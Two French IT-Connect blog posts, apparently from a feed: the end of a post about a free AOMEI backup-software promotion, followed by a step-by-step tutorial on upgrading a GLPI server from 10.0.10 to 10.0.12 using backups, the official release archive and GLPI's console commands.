Vous pouvez profiter de cette offre dès maintenant. Lorsque vous téléchargez une application, vous obtenez une archive ZIP qui contient deux fichiers : l'exécutable de l'application ainsi qu'un fichier texte avec la clé de licence que vous devez utiliser.

Avant de partager cette offre reçue par e-mail de la part de l'éditeur, j'ai pris soin de me renseigner sur la durée de la validité de la licence : 1 an à compter de la date d'activation. Toutefois, si vous souhaitez utiliser un logiciel, vous devez l'activer avant le 3 avril 2024, car c'est à cette date que prendra fin cette offre promotionnelle.

Pour en profiter, vous pouvez utiliser ce lien :

• Accéder à l'offre sur le site officiel AOMEI

Si vous avez déjà une expérience avec ces applications, n'hésitez pas à commenter cet article pour nous en faire part !

The post Bon plan : 6 logiciels AOMEI gratuits pour célébrer le jour de la sauvegarde ! first appeared on IT-Connect.

I. Présentation

Si vous déployez la solution GLPI dans votre entreprise, vous devez effectuer un suivi régulier des mises à jour. En effet, des mises à jour sont publiées régulièrement, et au-delà d'apporter de nouvelles fonctionnalités, certaines d'entres elles corrigent des failles de sécurité. Mais, alors, comment effectuer la mise à jour de GLPI ? Sachez que dans ce tutoriel, nous allons apprendre à mettre à jour GLPI !

Dans le cas présent, nous allons effectuer une mise à jour de GLPI 10.0.10 vers GLPI 10.0.12, qui justement, est une mise à jour de sécurité. Il s'agit de l'installation d'une mise à jour mineure, mais à chaque fois, les précautions à prendre sont identiques. Pour installer la version 10.0.14, qui est la dernière version en date, la procédure est identique.

Pour suivre les mises à jour de GLPI, vous pouvez consulter cette page :

• GitHub - GLPI

Remarque : si vous envisagez d'effectuer une mise à jour majeure sur votre serveur GLPI, par exemple, pour passer de GLPI 9.5 à GLPI 10, vérifiez au préalable si les extensions que vous utilisez sont bien prises en charge par la nouvelle version. Si vous êtes dans ce cas, sachez que le plugin Fusion Inventory est pris en charge uniquement jusqu'à la version 10.0.3 de GLPI. Ensuite, vous devez passer sur l'agent GLPI officiel, qui est un fort de Fusion Inventory.

II. Quelle est ma version de GLPI ?

Pour savoir quelle version de GLPI vous utilisez, vous devez vous connecter sur l'interface Web de GLPI, puis cliquez sur votre avatar en haut à droite. Dans le menu qui apparaît, cliquez sur "À propos". Une fenêtre va apparaître et elle indique explicitement la version de GLPI que vous utilisez. Avant la version 10 de GLPI, la version était indiquée en bas à droite de la fenêtre.

III. Activer le mode maintenance de GLPI

GLPI 10 intègre un mode maintenance que vous pouvez activer avant d'effectuer la mise à jour. Ceci évite que les utilisateurs ou les techniciens cherchent à utiliser GLPI pendant cette période.

A partir de la ligne de commande de votre serveur GLPI, positionnez-vous dans le répertoire d'installer de GLPI (ici "/var/www/glpi") et exécutez la commande suivante :

cd /var/www/glpi
sudo php bin/console glpi:maintenance:enable

Si vous retournez sur GLPI, en mode web, vous allez obtenir ce message :

Même si le mode maintenance est actif, vous pouvez accéder à GLPI en précisant ceci dans l'URL :

https://support.it-connect.tech/index.php?skipMaintenance=1

Une fois la mise à jour effectuée, nous verrons comment désactiver ce mode maintenance.

IV. Sauvegarder les données

Avant de mettre à jour GLPI, vous devez impérativement sauvegarder vos données. S'il s'agit d'une machine virtuelle, vous pouvez utiliser votre outil de sauvegarde habituelle pour déclencher une sauvegarde avant de procéder à la mise à jour GLPI. Par ailleurs, si c'est une machine virtuelle, vous pouvez aussi utiliser un snapshot pour revenir en arrière facilement.

En complément, suivez les étapes ci-dessous, car ceci fait partie du processus de mise à jour de GLPI (notamment pour les données). En local sur le serveur GLPI, nous allons pouvoir sauvegarder les données et la base de données de l'application.

A. Sauvegarder la base de données

Pour commencer, nous allons sauvegarder la base de données de GLPI à l'aide de l'utilitaire mysqldump. Il est inclus nativement avec MySQL, et MariaDB.

• Sauvegarder et restaurer une base de données avec mysqldump

Vous devez vous connecter à votre serveur et ouvrir une console en ligne de commande. Pour ma part, il s'agit d'un serveur sous Linux, donc la connexion est établie en SSH.

Si vous ne vous souvenez plus du nom de votre base de données, connectez-vous à votre instance MySQL :

mysql -u root -p

Indiquez le mot de passe root de MySQL. Puis, listez les bases de données :

show databases;

Pour ma part, la base de données s'appelle "db23_glpi". Désormais, nous allons sauvegarder cette base de données.

La commande ci-dessous permet de se connecter à l'instance MySQL en tant que root (vous pouvez, en principe, utiliser le compte utilisateur dédié à GLPI si vous en avez créé un) pour effectuer la sauvegarde de la base de données "db23_glpi". En sortie, cette sauvegarde donnera lieu au fichier "/home/glpi_adm/backup_db23_glpi.sql" (soit dans le "/home" de l'utilisateur avec lequel je suis connecté sur le serveur).

mysqldump -u root -p --databases db23_glpi > /home/glpi_adm/backup_db23_glpi.sql

La sauvegarde sera plus ou moins longue en fonction de la quantité d'informations stockées dans votre base de données.

Vérifiez que le fichier de sauvegarde a bien été créé :

B. Sauvegarder les données

Dans les fichiers de GLPI, au-delà des scripts PHP et d'autres fichiers relatifs au bon fonctionnement de l'application en elle-même, il y a aussi vos données.

En effet, le répertoire "files" contient les documents ajoutés en tant que pièce jointe dans les tickets, tandis que le répertoire "plugins" contient les extensions que vous avez ajoutées à votre GLPI. En complément, les répertoires "config" et "marketplace" sont également importants.

sudo cp -Rf /var/www/glpi/ /home/glpi_adm/backup_glpi

Par précaution, vérifiez que les répertoires suivants soient bien présents (et qu'ils ne sont pas vides) : files, plugins, config et marketplace. Les fichiers "config_db.php" et "glpicrypt.key" du répertoire "config" sont particulièrement précieux.

ls -l /home/glpi_adm/backup_glpi/

V. Mettre à jour GLPI

A. Supprimer la version actuelle

Nous n'allons pas altérer la base de données de GLPI, mais nous allons supprimer le répertoire de la version actuelle. Par exemple, si votre GLPI est installé dans le répertoire "/var/www/glpi/" du serveur Web, c'est ce dossier que vous devez supprimer. Ceci permet de laisser la place libre pour la future version de GLPI.

Voici la commande à exécuter :

sudo rm -Rf /var/www/glpi/

B. Télécharger GLPI

À partir du GitHub officiel de GLPI, vous devez copier le lien de l'archive tar.gz correspondante à la version que vous souhaitez installer. Dans cet exemple, c'est la version 10.0.12 qui sera installée.

Puis, à partir de la ligne de commande, initiez le téléchargement avec la commande wget :

cd /tmp
wget https://github.com/glpi-project/glpi/releases/download/10.0.12/glpi-10.0.12.tgz

Une fois que c'est fait, décompressez l'archive tar.gz :

tar -xzvf glpi-10.0.12.tgz

Une fois l'archive décompressée, vous obtenez un dossier nommé "glpi" qui contient l'ensemble des fichiers de cette nouvelle version.

Vous devez déplacer ce dossier vers la racine de votre site web GLPI. Pour ma part, ceci revient à déplacer le dossier "glpi" vers "/var/www/glpi". Ce qui donne :

sudo mv glpi /var/www/glpi

Quand c'est fait, vous pouvez passer à la suite.

C. Récupérer vos données

La prochaine étape consiste à récupérer vos données. Vous savez celles contenues dans les répertoires "files", "plugins", "config" et "marketplace". Ainsi, nous allons récupérer ces dossiers à partir de "/home/glpi_adm/backup_glpi/" (emplacement de la sauvegarde créée précédemment) vers le répertoire "/var/www/glpi/".

Voici les commandes à exécuter :

sudo cp -Rf /home/glpi_adm/backup_glpi/files /var/www/glpi/
sudo cp -Rf /home/glpi_adm/backup_glpi/plugins /var/www/glpi/
sudo cp -Rf /home/glpi_adm/backup_glpi/config /var/www/glpi/
sudo cp -Rf /home/glpi_adm/backup_glpi/marketplace /var/www/glpi/

Puis, nous allons modifier les permissions sur les données du répertoire "/var/www/glpi" pour que l'utilisateur "www-data", utilisé par Apache2, soit propriétaire :

sudo chown -R www-data:www-data /var/www/glpi/

D. Effectuer la mise à jour de la base de données GLPI

Voilà, vous y êtes ! C'est le moment de mettre à jour GLPI ! Enfin, la base de données, car en soi la mise à jour des fichiers est déjà effectuée !

Si vous accédez à l'interface de votre GLPI, vous allez tomber sur une page qui liste l'ensemble des prérequis et à la fin de cette page, il y a un bouton nommé "Upgrade" qui permet de déclencher la mise à jour.

Mais, l'éditeur de GLPI recommande plutôt d'effectuer la mise à jour à partir de la ligne de commande. Pour cela, vous devez continuer à utiliser la console de votre serveur (via une connexion SSH, par exemple).

Commencez par exécuter la commande ci-dessous pour vérifier les prérequis :

cd /var/www/glpi
sudo php bin/console glpi:system:check_requirements

Ceci permet de s'assurer que votre serveur dispose bien de tous les prérequis nécessaires pour accueillir GLPI. En principe, ce sera le cas, car GLPI était déjà installé. Dans la console, nous avons un statut pour chaque prérequis (comme en mode web).

Si tout est bon, vous pouvez lancer la mise à jour de la base de données GLPI avec cette commande :

sudo php bin/console db:update

Laissez-vous guider par la ligne de commande et vous devrez répondre à une ou deux questions par "yes" ou "no". Voici un exemple sur mon serveur :

Quelques secondes plus tard, la mise à jour est effectuée ! La console retourne le message "Migration effectuée" en vert, ce qui est plutôt positif. Connectez-vous à votre GLPI pour vérifier que tout fonctionne.

La mise à niveau étant terminée, vous devez supprimer ce fichier par sécurité :

sudo rm /var/www/glpi/install/install.php

Si vous utilisez des plugins, vous devez également vérifier leur état et éventuellement les mettre à jour (si nécessaire) à partir du menu "Configuration" puis "Plugins", ou via la Marketplace si vous l'avez activée.

Enfin, vous pouvez désactiver le mode maintenance de GLPI :

cd /var/www/glpi
sudo php bin/console glpi:maintenance:disable

GLPI a été correctement mis à jour de la version 10.0.10 à la version 10.0.12 :

VI. Conclusion

En suivant minutieusement cette procédure, vous devriez être en mesure de mettre à jour l'application GLPI sur votre serveur, que ce soit pour installer une version mineure ou une version majeure. Personnellement, j'ai utilisé cette méthode pendant plusieurs années et je suis toujours parvenu à mettre à jour l'application.

N'hésitez pas à laisser un commentaire sur cet article si vous avez une question ou si vous souhaitez apporter des précisions supplémentaires.

The post Comment mettre à jour GLPI ? first appeared on IT-Connect.